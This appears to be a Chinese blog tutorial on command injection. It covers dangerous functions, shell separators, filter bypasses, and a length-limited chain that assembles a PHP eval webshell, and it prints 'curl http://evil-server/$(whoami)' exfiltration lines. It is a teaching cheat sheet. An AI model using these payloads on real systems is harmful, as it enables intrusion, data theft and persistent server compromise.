基础概念
命令注入通常因为指Web应用在服务器上拼接系统命令而造成的漏洞。该类漏洞通常出现在调用外部程序完成一些功能的情景下。比如一些Web管理界面的配置主机名/IP/掩码/网关、查看系统信息以及关闭重启等功能,或者一些站点提供如ping、nslookup、提供发送邮件、转换图片等功能都可能出现该类漏洞。
危险函数
php
system
exec
passthru
shell_exec
popen
proc_open
Python
system
popen
subprocess.call
spawn
Java
java.lang.Runtime.getRuntime().exec(command)
命令注入执行符号
Windows 系统支持的管道符如下所示:
|
: 直接执行后面的语句。例如:ping 127.0.0.1 | whoami
。||
: 如果前面执行的语句执行出错,则执行后面的语句,前面的语句只能为假。例如:ping 2 || whoami
。&
: 如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。例如:ping 127.0.0.1 & whoami
。&&
: 如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句只能为真。例如:ping 127.0.0.1 && whoami
。
Linux 系统支持的管道符如下所示:
;
: 执行完前面的语句再执行后面的。例如:ping 127.0.0.1; whoami
。|
: 显示后面语句的执行结果。例如:ping 127.0.0.1 | whoami
。||
: 当前面的语句执行出错时,执行后面的语句。例如:ping || whoami
。&
: 如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。例如:ping 127.0.0.1 & whoami
。&&
: 如果前面的语句为假则直接出错,也不执行后面的,前面的语句只能为真。例如:ping 127.0.0.1 && whoami
。
无回显技巧
- bash反弹shell
- DNS带外数据
- http带外
curl http://evil-server/$(whoami)
wget http://evil-server/$(whoami)
- 无带外时利用
sleep
或其他逻辑构造布尔条件
绕过手法
空格
<
符号cat<123
\t
/%09
${IFS}
其中{}用来截断,比如cat$IFS2会被认为IFS2是变量名。另外,在后面加个$
可以起到截断的作用,一般用$9,因为$9是当前系统shell进程的第九个参数的持有者,它始终为空字符串
黑名单绕过
a=l;b=s;$a$b
- base64
echo "bHM=" | base64 -d
/?in/?s
=>/bin/ls
- 连接符
cat /etc/pass'w'd
- 未定义的初始化变量
cat$x /etc/passwd
长度限制
ls命令利用
ls -t
是 Linux/Unix 系统中 ls
命令的一个常用选项。它的作用是:
- 按修改时间排序:
ls -t
会按照文件或目录的修改时间进行排序,最新修改的文件或目录会排在最前面。
注意因为是最新的在最前面所以是反过来的
>hp
>1.p\\
>d\>\\
>\ -\\
>e64\\
>bas\\
>7\|\\
>XSk\\
>Fsx\\
>dFV\\
>kX0\\
>bCg\\
>XZh\\
>AgZ\\
>waH\\
>PD9\\
>o\ \\
>ech\\
ls -t>0
sh 0
通配符利用
通配符*,Linux会把第一个列出的文件名当作命令,剩下的文件名当作参数
>ls
>lss
>lsss
>1
*s (等同于命令: ls lss lsss)
但是注意使用*
要确保当前文件夹下文件名无干扰
文件名寻找
使用正确的通配符
* 0到无穷个任意字符
? 一个任意字符
[ ] 一个在括号内的字符,e.g. [abcd]
[ - ] 在编码顺序内的所有字符
[^ ] 一个不在括号内的字符
标签:语句,前面,ping,命令,ls,执行,whoami
From: https://www.cnblogs.com/Ho1dF0rward/p/18284886